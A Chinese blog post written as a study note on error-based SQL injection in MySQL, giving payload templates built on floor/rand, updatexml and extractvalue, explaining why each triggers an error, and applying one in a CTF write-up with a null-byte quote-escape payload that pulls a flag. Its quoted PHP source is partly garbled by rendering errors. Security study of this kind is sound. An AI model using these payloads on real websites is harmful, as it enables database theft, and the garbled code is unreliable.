sqlmap报错注入

原创

Mamba start 于 2020-04-07 21:40:50 发布 2111 收藏

分类专栏： 各种错误

本文链接：https://blog.csdn.net/weixin_44110913/article/details/105374507

0x00 背景

学习记录一下报错型的注入，经各方整理和自己总结形成。

所有的注入原理都是一样，即用户输入被拼接执行。但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入。

0x01概念

报错型注入的利用大概有以下3种方式：

复制代码

1：?id=2’ and (select 1 from (select count(*),concat(floor(rand(0)*2),(select (select (查询语句))
from information_schema.tables limit 0,1))x from information_schema.tables group by x)a)–+

2：?id=2’ and updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)–+

3：?id=1’ and extractvalue(1, concat(0x7e, (select 查询语句),0x7e))–+

复制代码

对于1的分析：

复制代码

floor()是取整数 rand(0)*2将取0到2的随机数

floor(rand()*2)有两条记录就会报错*

floor(rand(0)2)记录需为3条以上，且3条以上必报错，返回的值是有规律的

count()是用来统计结果的，相当于刷新一次结果

*group by 对数据分组时会先看看虚拟表里有没有这个值,若没有就插入,若存在则count()*加1

group by 时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

对于count()、rand()、group by 三者同时存在为什么会报错可以参考乌云tsafe的文章

复制代码

对于2的分析：

复制代码
函数的形式为：UPDATEXML (XML_document, XPath_string, new_value);、
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串)，
第三个参数：new_value，String格式，替换查找到的符合条件的数据
作用：改变文档中符合条件的节点的值，即改变XML_document中符合XPATH_string的值
而我们的注入语句为：updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)
concat()函数是将其参数连成一个字符串，因此不会符合XPATH_string的格式，从而出现格式错误导致错误信息返回。
复制代码
对于3的分析：

复制代码
EXTRACTVALUE (XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的名称
第二个参数：XPath_string (Xpath格式的字符串).
作用：从目标XML中返回包含所查询值的字符串

而我们的注入语句为：extractvalue(1, concat(0x7e, (select 查询语句),0x7e))
同2一样因为不符合XPATH_string的格式所以会报错
复制代码
0x03 实践
以sqli lab作为测试

?id=1’时：

?id=1’%23时：

带入上面的payload：

可以看到通过xmlupdate成功通过报错信息将数据库名显示出来了，接下来再依次按照求表、列的步骤进行

0x04 CTF实例
i春秋百度杯十月Vld

这里省略信息收集，直接到SQL注入的部分

这里只有一个登录框，贴出源代码：

复制代码
```
1 <?php
2
3 require_once ‘dbmysql.class.php’;
4 require_once ‘config.inc.php’;
5
6 if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 20: …T['username']) &&& isset(_POST[‘password’]) &&
isset($_POST[‘number’])){
7 $db = new mysql_db();
8 $username =
```
$> safe ata(_POST[‘username’]);$

1 public function safe_data(KaTeX parse error: Expected '}', got 'EOF' at end of input: … stripcslashes(value);
4 }
5 return addslashes($value);
6 }

username在被传入之后首先被safe_data()转义，再被str_replace()处理去掉里面包含的number数字和空格，最后执行sql查询。
在这里sql查询语句虽然也有拼接输入，但是需要闭合掉单引号。可是username在一开始加上单引号的话在被传入的时候就会被加上反斜杠。

读了i春秋论坛的writeup才明白可以这样构造：

Number=0&username=test%00’%23
Username经过转义变成test\0\’%23
然后替换操作 变成 test\’%23
单引号逃逸出去，同时因为用了trim所以不能使用空格来分割字段，可以使用+来连接。
最后构造的username为：

username=admin%00’+and+updatexml(1,concat(1,(select+*+from+flag+limit+1),1),1)%23
这里只能获取32位长度，要想获取完整的flag还需使用substr函数

0x05总结
这里只用了updatexml作为例子，其余2个原理都是一样的。

同时对于sqli lab的练习使用这一类注入手工速度很慢，接下来可以考虑写一个自动化的脚本。